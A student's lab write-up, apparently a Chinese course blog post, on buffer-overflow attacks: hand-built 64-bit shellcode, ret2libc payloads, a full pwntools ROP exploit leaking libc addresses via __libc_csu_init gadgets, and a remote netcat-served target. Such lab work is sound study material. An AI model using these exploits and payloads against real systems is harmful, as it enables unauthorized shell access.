20155213免考項目——bof進階及簡易的HIDAttack

20155213免考項目——bof進階及簡易的HIDAttack


目錄


任務一:構造Shellcode(64位)

任務二:64位Shellcode的注入

任務三:32位及64位bof攻擊(開啓堆棧保護且關閉地址隨機化)

任務四:開啓地址隨機化以及堆棧保護後的64位ROP攻擊

任務五:使用nc來遠程獲取靶機的root

簡易的HID攻擊博客連接


本篇博客記錄了我實驗ROP攻擊的全部內容,總體是先從簡單的Shellcode構造與注入,到克服堆棧保護與地址隨機化兩個問題的ROP攻擊,最後一部分是使用netcat進行的遠程bof攻擊模擬。html

任務一:構造Shellcode(64位)

shellcode 是一組指令opcode, 是能夠被程序運行,由於shellcode是要直接操做寄存器和函數,因此opcode 必須是十六進制的形式。python

Shellcode有幾點要求,首先是要調用系統函數獲取shell權限,其次是Shellcode裏面不能出現\x00linux

編寫Shellcode的具體步驟:git

  1. 先編寫一個使用execve()函數調用的C程序,看一下其內部都是怎麼實現的。
#include<stdlib.h>
#include<unistd.h>
char*buf[]={"/bin/sh",NULL};
void main()
{
    execve("/bin/sh",buf,0);
    exit(0);
}
  1. 編譯查看反彙編,同時定位到main和execve兩個函數處,能夠發現execve就至關於執行syscall而後調用0x3b調用號,能夠查到。0x3b就是execve的調用號
    github

  2. 到了這一步就能夠開始編寫.asm文件了,由於64位的參數都是放在寄存器裏的,超過六個參數纔會壓棧,因此,咱們須要把"/bin/sh"放到rdx裏面去,以後將其地址壓入棧頂,隨後調用將0x3b調用號賦給rax寄存器,最後調用syscall就好了
    shell

  3. 編譯該彙編文件,nasm -f elf64 Shellcode_64.asm,ld -o Shellcode_64 Shellcode_64.o
  4. 查看並摳出Shellcode_64的機器碼
  5. 根據第五步摳出的機器碼,測試一下,看看能不能用。寫一段C的測試代碼:
#include<stdlib.h>
#include<unistd.h>
void main()
{
    char ch[]="\x48\x31\xd2"
    "\x48\xbb\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68"
    "\x48\xc1\xeb\x08"
    "\x53"       
    "\x48\x89\xe7"      
    "\x48\x31\xc0"          
    "\x50"                   
    "\x57"                  
    "\x48\x89\xe6"             
    "\xb0\x3b"                
    "\x0f\x05";
    void (*fp)(void);
    fp=(void*)ch;
    fp();
}


須要注意的是,編譯這個時,要加上一句-z execstack,即開啓堆棧可執行。編程

任務二:64位Shellcode的注入

  • 相似32位的作法:
    • 0x01:先關閉地址隨機化;
    • 0x02:在設置pwn的堆棧可執行;
    • 0x03:測試foo函數返回地址在棧中存儲的位置;
    • 0x04:修改payload;
    • 0x05:注入執行;
  • 下面來一步一步執行:
    1. bash裏輸入echo "0" > /proc/sys/kernel/randomize_va_space,將randomize_va_space設爲0,能夠經過more /proc/sys/kernel/randomize_va_space來查看;
    2. bash裏面輸入execstack -s pwn20155213將pwn20155213可執行文件設置爲堆棧可執行,其中能夠經過execstack -q pwn20155213查看是否設置成功;
    3. 先構造一個input16進制文件,以後經過輸入(cat input ;cat )|./pwn20155213將input傳入執行中的pwn20155213中,這時打開另外一個終端,查找pwn20155213的運行進程,找到後,在gdb調試,裏輸入attach指令;查找foo返回地址,查看其中內容;


    4. 由上一步能夠看出rsp的下一個地址的內容是被「44444444」所覆蓋了,因此當這裏改成rsp的下一個地址便可,而其後改成所要注入的Shellcode,payload就完成了。
    5. 執行注入攻擊;

      攻擊成功,但值得注意,上圖顯示的沒有全部payload字符,這是由於在構造payload時,存在\x00。

任務三:32位及64位bof攻擊(開啓堆棧保護且關閉地址隨機化)

(1)32位bof攻擊

  • 步驟:
    • 0x01:關閉地址隨機化(如任務二)
    • 0x02:使用事先編譯好的32位程序level,進入gdb調試
    • 0x03:由第二步分別得到/bin/sh,system的位置編寫進將要注入的payload
    • 0x04:將寫好的payload注入攻擊
  • 具體實現:
    1. bash裏輸入echo "0" > /proc/sys/kernel/randomize_va_space,將randomize_va_space設爲0,能夠經過more /proc/sys/kernel/randomize_va_space來查看;
      (PS)同時使用execstack -c level恢復level的堆棧保護;
    2. 在bash裏輸入gdb ./level以後,開始調試:
      • 先將在main處設置斷點,而後運行程序
      • 輸入print system查看system在內存中的位置,如圖位置在0xf7e03c60
      • 輸入print __libc_start_main查看__libc_start_main的位置,同時根據__libc_start_main的位置,找到/bin/sh的位置
        bash

      • 輸入"1111111222222223333333344444444"並查看溢出位置,基本如任務二;
        服務器

    3. 由第二步獲得的system/bin/sh的位置,編寫payload,perl -e 'print "A"x28;print "\x60\x3c\xe0\xf7\xab\xac\xad\xae\x08\x28\xf4\xf7"'
    4. 如圖操做,注入成功;

(2)64位bof攻擊

  • 步驟:
    • 0x01:關閉地址隨機化(如任務二)
    • 0x02:查找pop rdi;ret的位置
    • 0x03:使用事先編譯好的64位程序pwn20155213,進入gdb調試
    • 0x04:由第二步分別得到pop rdi;ret/bin/sh,system的位置編寫進將要注入的payload
    • 0x05:將寫好的payload注入攻擊
  • 具體實現:
    1. bash裏輸入echo "0" > /proc/sys/kernel/randomize_va_space,將randomize_va_space設爲0,能夠經過more /proc/sys/kernel/randomize_va_space來查看;
      (PS)同時使用execstack -c level恢復level的堆棧保護;
    2. 使用ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi,若是查找不到須要的pop rdi;ret則將pwn20155213換成/lib/x86_64-linux-gnu/libc.so.6
      ,這裏咱們使用pwn20155213的內部地址及0x733,這是相對地址,並非最後的運行起來的地址。
    3. 根據第二步,查看pwn20155213反彙編,瞭解到0x733這個地址存在於__libc_csu_init這段代碼裏,進而在gdb裏,查看這段代碼,獲得pop rdi;ret的位置爲0x0000555555554733,


      以後跟32位一樣,先測試出哪裏溢出;

      再分別查看system/bin/sh的位置(0x7ffff7a60510,0x7ffff7b9b3f3
    4. 根據第三步,編寫payload;
    5. 注入攻擊,如圖攻擊成功;

任務四:開啓地址隨機化以及堆棧保護後的64位ROP攻擊

  • 這裏首先有個問題須要解決就是如何在程序運行時,從命令行向程序傳送十六進制數據,查找了不少,這裏有六種方法
    • 管道(Pipe)及有名管道(named pipe)
    • 信號(Signal)
    • 報文(Message)隊列(消息隊列)
    • 共享內存
    • 信號量(semaphore)
    • Socket
    • 這裏只有Socket是可行的,會在隨後的任務五里面說
  • 排除上面全部底層提供的解決方法,可是python裏面有個包能夠提供向正在運行的程序傳送數據,便是pwntools,這個包的具體使用狀況這裏不細說,百度上多得很
  • ROP攻擊其實在任務三已經使用到了,ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi,這條語句就是用來查找可使用的gadgets,從而構造合適的ROP鏈進行攻擊。
  • ROP的全稱爲Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術能夠用來繞過現代操做系統的各類通用防護(好比內存不可執行和代碼簽名等)。

1.尋找gadget網絡

2.使用pwntools工具在python環境下進行測試

  • 這裏爲了進階演示,就先修改一下以前使用的C代碼
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
 void systemaddr()
 {
     void* handle = dlopen("libc.so.6", RTLD_LAZY);
     printf("%p\n",dlsym(handle,"system"));
     fflush(stdout);
 }

 void vulnerable_function() {
     char buf[128];
     read(STDIN_FILENO, buf, 512);
 }

 int main(int argc, char** argv) {
     systemaddr();
     write(1, "Hello, World\n", 13);
     vulnerable_function();
 }

須要解釋一下systemaddr這個函數,這裏是爲了輸出system執行時的內存地址

  • 介紹一下大體思路,及使用溢出手段,返回調用system函數,進而調用"/bin/sh":
    • 這裏是使用python裏的pwn這個工具包進行payload的注入操做
    • 第一步,先得到"/bin/sh",pop_ret分別於system的相對位置差值
    • 在exp.py裏面調用recv函數,得到運行時的system具體地址
    • 以後分別計算"/bin/sh",pop_ret的具體地址
    • 最後進行payload注入,同時交互運行
    • 實現代碼以下:
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so.6')

p = process('./pwn20155213')
#p = remote('127.0.0.1',10001)


binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)

pop_ret_offset = 0x000000000002144f - libc.symbols['system']#0x000000000002144f是經過ROP查找出來的一個符合條件的gadget地址
print "pop_ret_offset = " + hex(pop_ret_offset)

#pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset)

print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)


pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)

#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)

p.recv()

payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

#payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

print "\n##########sending payload##########\n"
p.send(payload)

p.interactive()
  • 運行截圖以下:

  • 這裏有一個缺憾,就是C代碼須要輸出printf("%p\n",dlsym(handle,"system"));,及system的運行時地址,爲了實現更符合日常狀況的,咱們須要找一個萬能的gadget,在尋找gadget那一段中已經敘述了相關萬能的gadget得從__libc_csu_init裏面找。

3.放棄輔助函數的ROP攻擊

  • 這裏修改源碼爲
#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}
  • 看一下這段代碼,能夠發現裏面包含有write和read函數,這時,在沒有輔助函數的幫助下,沒法知曉system的位置,咱們就能夠取write爲參照物,在利用write函數泄露出相關的write函數內存地址信息,從而根據相對地址得到咱們須要的system的地址等等。
  • 此時須要解決一個問題就是,咱們是在64位下做的,他的前6個參數都是放在寄存器裏面的,而不是像32位那樣,放在棧裏面,因此不能夠簡單地想象,使用棧溢出注入咱們想注入的數據,這裏咱們須要尋找可使用的心得gadget,及能夠操做那六個寄存器的gadget,從而解決上一個加了輔助函數的遺憾
  • 使用objdump -d ./pwn20155213,看到裏面有個__libc_csu_init函數,裏面就有咱們想要的東西
  • 前期鋪墊都基本作好了,如今開始編寫payload:
    • 咱們先構造payload1,利用write()輸出write在內存中的地址。注意咱們的gadget是call qword ptr [r12+rbx*8],因此咱們應該使用write.got的地址而不是write.plt的地址。而且爲了返回到原程序中,重複利用buffer overflow的漏洞,咱們須要繼續覆蓋棧上的數據,直到把返回值覆蓋成目標函數的main函數爲止。
    payload1 =  "\x00"*136
    payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload1 += "\x00"*56
    payload1 += p64(main)
    • 當咱們exp在收到write()在內存中的地址後,就能夠計算出system()在內存中的地址了。接着咱們構造payload2,利用read()將system()的地址以及「/bin/sh」讀入到.bss段內存中。
    payload2 =  "\x00"*136
    payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload2 += "\x00"*56
    payload2 += p64(main)
    • 最後咱們構造payload3,調用system()函數執行「/bin/sh」。注意,system()的地址保存在了.bss段首地址上,「/bin/sh」的地址保存在了.bss段首地址+8字節上。
    payload3 =  "\x00"*136
    payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload3 += "\x00"*56
    • 最終的exp.py以下:
    #!python
    #!/usr/bin/env python
    from pwn import *
    
    elf = ELF('level5')
    libc = ELF('libc.so.6')
    
    p = process('./level5')
    #p = remote('127.0.0.1',10001)
    
    got_write = elf.got['write']
    print "got_write: " + hex(got_write)
    got_read = elf.got['read']
    print "got_read: " + hex(got_read)
    
    main = 0x400564
    
    off_system_addr = libc.symbols['write'] - libc.symbols['system']
    print "off_system_addr: " + hex(off_system_addr)
    
    #rdi=  edi = r13,  rsi = r14, rdx = r15
    #write(rdi=1, rsi=write.got, rdx=4)
    payload1 =  "\x00"*136
    payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload1 += "\x00"*56
    payload1 += p64(main)
    
    p.recvuntil("Hello, World\n")
    
    print "\n#############sending payload1#############\n"
    p.send(payload1)
    sleep(1)
    
    write_addr = u64(p.recv(8))
    print "write_addr: " + hex(write_addr)
    
    system_addr = write_addr - off_system_addr
    print "system_addr: " + hex(system_addr)
    
    bss_addr=0x601028
    
    p.recvuntil("Hello, World\n")
    
    #rdi=  edi = r13,  rsi = r14, rdx = r15
    #read(rdi=0, rsi=bss_addr, rdx=16)
    payload2 =  "\x00"*136
    payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload2 += "\x00"*56
    payload2 += p64(main)
    
    print "\n#############sending payload2#############\n"
    p.send(payload2)
    sleep(1)
    
    p.send(p64(system_addr))
    p.send("/bin/sh\0")
    sleep(1)
    
    p.recvuntil("Hello, World\n")
    
    #rdi=  edi = r13,  rsi = r14, rdx = r15
    #system(rdi = bss_addr+8 = "/bin/sh")
    payload3 =  "\x00"*136
    payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload3 += "\x00"*56
    payload3 += p64(main)
    
    print "\n#############sending payload3#############\n"
    
    sleep(1)
    p.send(payload3)
    
    p.interactive()
    • 運行截圖:

任務五:使用nc來遠程獲取靶機的root

這裏不詳細介紹netcat程序的使用了,只說兩個,一個是正相鏈接,一個是反彈鏈接,咱們將會使用正向鏈接模逆服務器正在運行的程序,這也是ctf中pwn題的鏈接服務器方法。

1.關閉了地址隨機化的64位bof攻擊

  • 這裏咱們使用已經構造好的payload,進行注入(我使用的是win下面的Cygwin64 Terminal,這個能夠很好的模擬linux的終端,就免得在開一臺虛擬機了)
    • 靶機輸入nc -l -e pwn20155213 -p 5213進行監聽
    • Cygwin64 Terminal端輸入(cat payload;cat)|nc 172.30.6.213 5213
    • 運行截圖:

2.開啓地址隨機化的64位bof攻擊

  • 這裏不方便在Cygwin64 Terminal這個下面作,就兩個都放在Kali上了
    • 先開啓地址隨機化
    • 先修改py文件,改爲remote控制的
    • 靶機輸入nc -l -e pwn20155213 -p 5213進行監聽
    • 運行py文件
    • 截圖:
    • 要注意的是,當咱們把程序的io重定向到socket上的時候,根據網絡協議,由於發送的數據包過大,read()有時會截斷payload,形成payload傳輸不完整形成攻擊失敗。這時候要多試幾回便可成功。若是進行遠程攻擊的話,須要保證ping值足夠小才行(局域網)。

做業感想

作的時間跨度有點大,前先後後一個半月,作的東西也都是別人作剩下的,沒什麼技術含量,也沒有實際價值,只是當個實驗消磨一下時間,鍛鍊一下

相關文章
相關標籤/搜索